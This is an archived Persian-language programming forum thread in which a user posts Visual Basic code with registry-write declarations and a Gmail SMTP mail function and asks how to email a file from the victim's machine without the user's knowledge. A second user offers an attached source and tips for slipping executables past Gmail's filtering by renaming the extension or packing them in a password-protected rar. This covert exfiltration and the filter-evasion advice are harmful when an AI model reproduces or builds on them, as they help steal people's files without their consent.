PDA

View Full Version : مبتدی: آپلود یک فایل بدون اطلاع کاربر و ارسال آن توسط Mail



imanx7
دوشنبه 06 مرداد 1393, 00:19 صبح
سلام !
من میخواستم توسط این کُد

Option Explicit
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
Private Const KEY_WRITE = 131078


'start SendMail code
Function SendMail(Sender As String, Subject As String, Reciever As String, Text As String, Password As String, AttachFile As String) As Boolean
If Sender <> "" Or Password <> "" Then
Form1.MousePointer = 11
Dim iMsg, iConf, Flds, schema, SendEmailGmail
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

' send one copy with Google SMTP server (with autentication)
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = Sender
Flds.Item(schema & "sendpassword") = Password
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
DoEvents
.To = Reciever
.From = Sender
.Subject = Subject
.HTMLBody = Text
.Sender = Sender
.Organization = "S.M.B Productions"
.ReplyTo = Sender
If AttachFile <> "" Then
.AddAttachment (AttachFile)
End If
Set .Configuration = iConf
SendEmailGmail = .Send
End With

Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
Form1.MousePointer = 0
SendMail = True
Else
MsgBox "Please, Fill the Sender Mail Address or Sender Mail Password", vbCritical, "Connection Error"
SendMail = False
End If
End Function
'end SendMail code


بدون اطلاع کاربر یک فایل رو از از یک دایرکتوری خاص گرفته و به کسی ایمیل کنم !
ولی وقتی توو آرگومان Attach رو خودم آدرس دهی میکنم ایمیل ارسال نمیشه ، ولی وقتی Attach فایل رو به عهده خود کاربر میزارم ، برنامه با موفقیت کار میکنه !
میخوام بدونم چجوری میشه یه فایلی مثل C:\windows\system32\shell32.exe رو بدون اینکه کاربر اطلاعی داشته باشه mail کنم !

ممنون میشم راهنمایی کنید !

R2du-soft
دوشنبه 06 مرداد 1393, 01:08 صبح
یک سورس براتون زمینه کردم.
باید دقت کنید که برنامه و جیمیل هنگام ارسال فایلهای Exe خطا میگیره من چند فایل دیگه هم تست کردم همینطور بود!
راه حل:
1-پسوند فایلتون رو اگر exe هست به Ex تغییر بدید تا ارسال بشه.
2- یا اینکه فایلتون رو فشرده کنید اونم فقط با پسوند rar و حتما باید یک پسورد روش بزارید! وگرنه نمیفرسته!

اینم از فایل زمینه:
121623

imanx7
دوشنبه 06 مرداد 1393, 01:34 صبح
خیلی ممنون از برنامه تون !
اگه میشه رو همین کُدی که من گذاشتم توضیح بدین ... ممنون میشم !
مُشکل من اینجاست که فایل حتما باید با Command Dialog توسط کاربر انتخاب بشه برای Attach ولی من میخوام که خودم یه فایل با یه آدرس ایستا رو واسم بفرسه !
اگه میشه کمکم کنید !